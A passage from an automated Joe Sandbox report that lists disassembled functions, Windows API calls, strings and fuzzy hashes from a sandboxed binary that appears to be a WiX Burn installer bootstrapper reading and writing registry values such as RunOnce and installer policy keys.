Instruction Fuzzy Hash: 0B319035A00246FFDB20DFA4C8829BE7BB5BF81311F1889A9F4659B1A1D730DD41DB51

Function 00A21226 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00A2587B: RegCloseKey.ADVAPI32(00000000,?,?,00000001,00000000,?,?,?,00A21245,?,?,00000000), ref: 00A258CB

CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,?,?,00000000,?,?,?,?), ref: 00A212AC

Strings

Unable to get resume command line from the registry, xrefs: 00A2124B
Failed to re-launch bundle process after RunOnce: %ls, xrefs: 00A21296
Failed to get current process path., xrefs: 00A21262

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Close$Handle
String ID: Failed to get current process path.$Failed to re-launch bundle process after RunOnce: %ls$Unable to get resume command line from the registry
API String ID: 187904097-642631345
Opcode ID: 143e92a75127aa7b758c8f3052a874c3c73813de80301a9486369f185c0ee3da
Instruction ID: ad4d41dcc3d5ed34fffb9e0cbfd1e53f5694128949f74f585e3ec8cfb75190b8
Opcode Fuzzy Hash: 143e92a75127aa7b758c8f3052a874c3c73813de80301a9486369f185c0ee3da
Instruction Fuzzy Hash: 42112E72D00528FACF11ABA8A9458EDFBB9FFA0712B248176F811F2154E7714F45DB50

Function 00A2A4AA Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00A2A4B8
LeaveCriticalSection.KERNEL32(?,?,00000000), ref: 00A2A51A

Strings

Failed to get value of variable: %ls, xrefs: 00A2A4EF
Failed to get value as numeric for variable: %ls, xrefs: 00A2A50B

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Failed to get value as numeric for variable: %ls$Failed to get value of variable: %ls
API String ID: 3168844106-4270472870
Opcode ID: 715ea87dc663bfc26b09fecc8fd079cafb8ba7b9e95e90b4cf606dce1af23a6d
Instruction ID: 78536ebe2f52381893c8ecb88abf4bad35290257000315a49b4422b1c97ff323
Opcode Fuzzy Hash: 715ea87dc663bfc26b09fecc8fd079cafb8ba7b9e95e90b4cf606dce1af23a6d
Instruction Fuzzy Hash: F501D472940238FBCB219B98ED09E9F7B28BB20765F004530FD05A6201C375EA0086E6

Function 00A2A5A6 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00A2A5B4
LeaveCriticalSection.KERNEL32(?,?,00000000), ref: 00A2A616

Strings

Failed to get value as version for variable: %ls, xrefs: 00A2A607
Failed to get value of variable: %ls, xrefs: 00A2A5EB

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Failed to get value as version for variable: %ls$Failed to get value of variable: %ls
API String ID: 3168844106-1851729331
Opcode ID: d8700b98d701aeef9d88c474c423ab2285397d1cf4c837154342a99dbef6ff19
Instruction ID: c349a68e2ad109d37ba48c32982cc75095577917d2a5311ad15418631eb0eada
Opcode Fuzzy Hash: d8700b98d701aeef9d88c474c423ab2285397d1cf4c837154342a99dbef6ff19
Instruction Fuzzy Hash: 79018472900238BBCB119B9CEC45E9FBB68BB10725F154120FD05A6211C735DD009BE6

Function 00A2A528 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,00000000,?,?,00A39714,?,WixBundleOriginalSource,?,00000000,?,?,00000001,?,?,00000001), ref: 00A2A536
LeaveCriticalSection.KERNEL32(?,00000000,00000000,?,?,00A39714,?,WixBundleOriginalSource,?,00000000,?,?,00000001,?,?,00000001), ref: 00A2A598

Strings

Failed to get value of variable: %ls, xrefs: 00A2A56D
Failed to get value as string for variable: %ls, xrefs: 00A2A589

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Failed to get value as string for variable: %ls$Failed to get value of variable: %ls
API String ID: 3168844106-2100416246
Opcode ID: 925b267843b9f13e7b0fa4d73f2b5d570d7e79d82366860718f299af6d08e3a7
Instruction ID: 4f08510d487dc7b48a222f612e61a6dc5560fe3c8a6ed670f729c81e3810166c
Opcode Fuzzy Hash: 925b267843b9f13e7b0fa4d73f2b5d570d7e79d82366860718f299af6d08e3a7
Instruction Fuzzy Hash: 98018472940639FBCB129B9CED45E9F7B78BB14725F104621FD05AA211C336DA0096E2

Function 00A49A29 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(00000000,00A483E6), ref: 00A49A2C
__malloc_crt.LIBCMT ref: 00A49A5B
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00A49A68

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: EnvironmentStrings$Free__malloc_crt
String ID:
API String ID: 237123855-0
Opcode ID: 8b12e5e7218c89e2533bc1092ac712e1ad5dfc0370e6ecac223792c55d901de2
Instruction ID: 3595ee182016383a252235f7276e7c30d5b242e2987346713517c8647a7654fc
Opcode Fuzzy Hash: 8b12e5e7218c89e2533bc1092ac712e1ad5dfc0370e6ecac223792c55d901de2
Instruction Fuzzy Hash: CCF0827F5152105ACB31B774BC498AF6B2DDAD13A532A4466F405C3100FE208E5386B1

Function 00A2A624 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000,?,?,00A36FFF,?,?,?,?,?,?,00A374EE,?,?,?), ref: 00A2A632
LeaveCriticalSection.KERNEL32(?,?,00000000,?,?,00A36FFF,?,?,?,?,?,?,00A374EE,?,?,?), ref: 00A2A683

Strings

Failed to copy value of variable: %ls, xrefs: 00A2A674
Failed to get value of variable: %ls, xrefs: 00A2A655

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Failed to copy value of variable: %ls$Failed to get value of variable: %ls
API String ID: 3168844106-2936390398
Opcode ID: d248518c08ae41bcb713b5fa67dd60115a337e3c1937730c50b92cb50a37241d
Instruction ID: f81b844c1ccc1879f42a947c01ca94c255b65df10cd3a4aa1df53c1d4fff3da8
Opcode Fuzzy Hash: d248518c08ae41bcb713b5fa67dd60115a337e3c1937730c50b92cb50a37241d
Instruction Fuzzy Hash: E2F0AF76900228BBCB11ABA8ED45E8FBB6CBB14362F154520FD01A6211C335DE1096A5

Function 00A48E5C Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00A48E76

Part of subcall function 00A4BB40: __FF_MSGBANNER.LIBCMT ref: 00A4BB59
Part of subcall function 00A4BB40: __NMSG_WRITE.LIBCMT ref: 00A4BB60
Part of subcall function 00A4BB40: HeapAlloc.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,00A4C5F7,00000000,00000001,00000000,?,00A4BDA6,00000018,00A734C0,0000000C,00A4BE36), ref: 00A4BB85

std::exception::exception.LIBCMT ref: 00A48EAB
std::exception::exception.LIBCMT ref: 00A48EC5
__CxxThrowException@8.LIBCMT ref: 00A48ED6

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: std::exception::exception$AllocException@8HeapThrow_malloc
String ID:
API String ID: 1414122017-0
Opcode ID: d8dbdfa0835b0351bc6a4fc8fc1de9fd31c752d4b8871bcd75e7a1c52059f8a4
Instruction ID: ab4a31a931a2eeb4cbb1538a4273c2b795517620013c11adf27bfeea2e965eaf
Opcode Fuzzy Hash: d8dbdfa0835b0351bc6a4fc8fc1de9fd31c752d4b8871bcd75e7a1c52059f8a4
Instruction Fuzzy Hash: 1CF0A439514219AACF04EB64FD16E9E76A8BB81714F548165F508A61A2DFB0CF4386A0

Function 00A53FDE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(00000000), ref: 00A54144

Part of subcall function 00A53DFC: RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00A57B1F,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 00A53E10

Strings

regutil.cpp, xrefs: 00A54131

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseOpen
String ID: regutil.cpp
API String ID: 47109696-955085611
Opcode ID: 7b2d39ee8931fc39fca6e90582cd80afff68a03dba37025c6b37b570dbef9a49
Instruction ID: 47ca53460b183208995f855e3d550ed8bb1e1997c48b120e30cfc4bae2eb4cde
Opcode Fuzzy Hash: 7b2d39ee8931fc39fca6e90582cd80afff68a03dba37025c6b37b570dbef9a49
Instruction Fuzzy Hash: 3D414833900606ABCF219F94DD04BAE76B6BF98316F254229FE14E7191D775CDC89740

Function 00A53841 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000002,80070002,80070003,00000000,00000000,00000000), ref: 00A538B2
RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,?), ref: 00A538EB

Strings

regutil.cpp, xrefs: 00A53950

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: QueryValue
String ID: regutil.cpp
API String ID: 3660427363-955085611
Opcode ID: 3657d39d3fe7ecc812f5c011ffa6337ec11dfcfb05e47c767f37f94ab5310e49
Instruction ID: d4965066bd2d019c71a3401145d0b5b8eca30255feeb4c96b14f3ebfba233f3f
Opcode Fuzzy Hash: 3657d39d3fe7ecc812f5c011ffa6337ec11dfcfb05e47c767f37f94ab5310e49
Instruction Fuzzy Hash: 0A414BB2A0024AEFDF10DFA4CC959AEB7B9FF44341F10896EF915E6211D3B09A588B50

Function 00A58CEF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 102registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5892B: lstrlenW.KERNEL32(?,?,?,00A58A4B,?,?,?,00000000,?,?,?,00A3FB67,?,?,?,00000000), ref: 00A5894E

RegCloseKey.ADVAPI32(00000000,00A213BB,?,?,00A213BB,00000000,00000000,?,00A213BB,00000001,00000000), ref: 00A58DD4
RegCloseKey.ADVAPI32(00000001,00A213BB,?,?,00A213BB,00000000,00000000,?,00A213BB,00000001,00000000), ref: 00A58DEE

Part of subcall function 00A53D8C: RegCreateKeyExW.ADVAPI32(00000001,00000000,00000000,00000000,00000000,00000001,00A213BB,?,?,00000001,?,00A272CB,?,00A213BB,00020006,00000001), ref: 00A53DB0

Part of subcall function 00A54173: RegSetValueExW.ADVAPI32(00020006,?,00000000,00000001,?,00000000,?,000000FF,00000000,00000001,?,?,00A269E2,00000000,?,00020006), ref: 00A541A6

Part of subcall function 00A54173: RegDeleteValueW.ADVAPI32(00020006,?,00000001,?,?,00A269E2,00000000,?,00020006,?,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,00020006,00000000), ref: 00A541D5

Part of subcall function 00A53C9B: RegSetValueExW.ADVAPI32(?,00020006,00000000,00000004,00A26938,00000004,00000001,?,00A26938,00020006,Resume,00A213BB,00000000,00000000,?,?), ref: 00A53CB0

Strings

%ls\%ls, xrefs: 00A58D50

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Value$Close$CreateDeletelstrlen
String ID: %ls\%ls
API String ID: 3924016894-2125769799
Opcode ID: efe0ecc16af4df445dde6e1ae88273d5098a01e6b9403ddd94c3044ad618d343
Instruction ID: f41965ae198e0beb58de5cdd320676a5dd5d191ef2d9680a6489f2a504d3901f
Opcode Fuzzy Hash: efe0ecc16af4df445dde6e1ae88273d5098a01e6b9403ddd94c3044ad618d343
Instruction Fuzzy Hash: 45311732D0122DFBCF12AFD0DD8189EBBB9FB08B41B104466F911B2121D7764A59DBA0

Function 00A55E5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?,00000000,00000000,76C1B390,00000000,?,00A37FCF,?,?,?,00000000,00000000,?), ref: 00A55EF8
GetLastError.KERNEL32(?,00A37FCF,?,?,?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00A2130D,?,?), ref: 00A55F6F

Strings

fileutil.cpp, xrefs: 00A55FA2

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFileLastRead
String ID: fileutil.cpp
API String ID: 1948546556-2967768451
Opcode ID: 875d8283a2585e35f68ea41ccf7e9cff39d497b64d58cfb0e33a4048a60a351a
Instruction ID: fd5c42560dd7a28bfaea034dea784abaaadf267cf635ed6effdfe84b0d5985e4
Opcode Fuzzy Hash: 875d8283a2585e35f68ea41ccf7e9cff39d497b64d58cfb0e33a4048a60a351a
Instruction Fuzzy Hash: A0314C75D00699DBDF22CF29CD517D9B7B5BF48302F1080EAA949E6250D6B49EC88F60

Function 00A5527D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

#171.MSI(00000000,?,00A5B5F8,?), ref: 00A552D7
#171.MSI(00000000,?,?,00000000,?,00000000,00000000,?,00A5B5F8,?), ref: 00A55318

Part of subcall function 00A54FEC: #115.MSI(?), ref: 00A55019
Part of subcall function 00A54FEC: #116.MSI(?,00000001,?), ref: 00A55039

Strings

wiutil.cpp, xrefs: 00A55336

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: #171$#115#116
String ID: wiutil.cpp
API String ID: 2532461077-4248292292
Opcode ID: d4a5309754e183bbecccded679aef1319774cec403a0cdfaefe3e4791ea9430f
Instruction ID: 9abc8fe8f246f2fd21b5eafdbb7b754b4c98aeb2826f4e5cb0e8cdd3df65f6b8
Opcode Fuzzy Hash: d4a5309754e183bbecccded679aef1319774cec403a0cdfaefe3e4791ea9430f
Instruction Fuzzy Hash: 61217176D00609BBDF109FA4DD61AEE77B8FF04362F148029FD18EA140D274DA48DB50

Function 00A51879 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00A51919
_memmove.LIBCMT ref: 00A51924

Part of subcall function 00A5299C: GetProcessHeap.KERNEL32(00000000,?,?,00A50EF7,?,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000,00000000), ref: 00A529A4
Part of subcall function 00A5299C: HeapSize.KERNEL32(00000000,?,00A50EF7,?,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000,00000000,80070000), ref: 00A529AB

Strings

W, xrefs: 00A5189F

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Heap_memmove$ProcessSize
String ID: W
API String ID: 3606272560-655174618
Opcode ID: 860b640bbe695b72c97eca0d54e0e022c5721fc14f195b2ecb93ce81ed83baaf
Instruction ID: a2426dc9736819275f9462a6901d87d8417f253b56d6c08003f0427521613919
Opcode Fuzzy Hash: 860b640bbe695b72c97eca0d54e0e022c5721fc14f195b2ecb93ce81ed83baaf
Instruction Fuzzy Hash: 9E217171A00206FBDB10DFA9DC91EBE77B9FF45365B204629FC5097241EB34DA049B60

Function 00A51FE9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

_memmove_s.LIBCMT ref: 00A5206B

Strings

\\?\UNC, xrefs: 00A52075
\\?\, xrefs: 00A52030

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memmove_s
String ID: \\?\$\\?\UNC
API String ID: 800865076-2523517826
Opcode ID: a11766c786dfe76562011f027e4b07aa604f2cb24309a3599d04d3d718ea2ac2
Instruction ID: 18a3f0cd0b5b1ef894cd7fa989065f0daba074136525a18d7d933c9b20d73158
Opcode Fuzzy Hash: a11766c786dfe76562011f027e4b07aa604f2cb24309a3599d04d3d718ea2ac2
Instruction Fuzzy Hash: 4C11B671342201B5E6349705DC41FF77359FB62FA6F808425FE495A4C1E2B1AE8AC365

Function 00A240C3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000000,00000000,000000FF,?,000000FF,IGNOREDEPENDENCIES,00000000,?,?,?,00A3FF0C,00000000,IGNOREDEPENDENCIES,00000000,?), ref: 00A24116

Strings

IGNOREDEPENDENCIES, xrefs: 00A240D2
Failed to copy the property value., xrefs: 00A24146

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CompareString
String ID: Failed to copy the property value.$IGNOREDEPENDENCIES
API String ID: 1825529933-1412343224
Opcode ID: 920108f67b1dd1b6add874f868bafc55e378fa55c4c93f7ced42554eb5ddc6cb
Instruction ID: bf773c1d615f5384f26fe061ab911d7fe536edac4048ac117842c54dd8874d75
Opcode Fuzzy Hash: 920108f67b1dd1b6add874f868bafc55e378fa55c4c93f7ced42554eb5ddc6cb
Instruction Fuzzy Hash: 1C118272904228EFCF108F58D8849AD7775FB19361F224679F92997251D7305DA0CB50

Function 00A54173 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60registryCOMMON

Download Yara Rule

APIs

RegSetValueExW.ADVAPI32(00020006,?,00000000,00000001,?,00000000,?,000000FF,00000000,00000001,?,?,00A269E2,00000000,?,00020006), ref: 00A541A6
RegDeleteValueW.ADVAPI32(00020006,?,00000001,?,?,00A269E2,00000000,?,00020006,?,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,00020006,00000000), ref: 00A541D5

Strings

regutil.cpp, xrefs: 00A54208

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Value$Delete
String ID: regutil.cpp
API String ID: 1738766685-955085611
Opcode ID: 781ab25b1a36b00e56345341ffdd7b00278ed09e437a94b1b9d9f528b369e67d
Instruction ID: 22049d68290944338f669649188aee5cbb941ceed78ad754194a2b8e8001aa4b
Opcode Fuzzy Hash: 781ab25b1a36b00e56345341ffdd7b00278ed09e437a94b1b9d9f528b369e67d
Instruction Fuzzy Hash: 26110236880637B7CB224B84CC05BAE3D60BF19B66F104224FE14EA0A0E271DD9897E0

Function 00A31C48 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A53DFC: RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00A57B1F,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 00A53E10

RegCloseKey.ADVAPI32(?,SOFTWARE\Policies\Microsoft\Windows\Installer,00020019,?,00000001,?,?,?,00A31FA6,00000000,?,?,?), ref: 00A31CD5

Part of subcall function 00A53841: RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000002,80070002,80070003,00000000,00000000,00000000), ref: 00A538B2
Part of subcall function 00A53841: RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,?), ref: 00A538EB

Strings

SOFTWARE\Policies\Microsoft\Windows\Installer, xrefs: 00A31C57
Logging, xrefs: 00A31C76

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID: Logging$SOFTWARE\Policies\Microsoft\Windows\Installer
API String ID: 1586453840-387823766
Opcode ID: de0bdc54df66b3c3983231011ebff28f7c8d27c4fe8394decf7bd7e1f7291a25
Instruction ID: a3f3b7611e0883ea48732380c481756c947b4756b4df483c8f8d17bcc753ef79
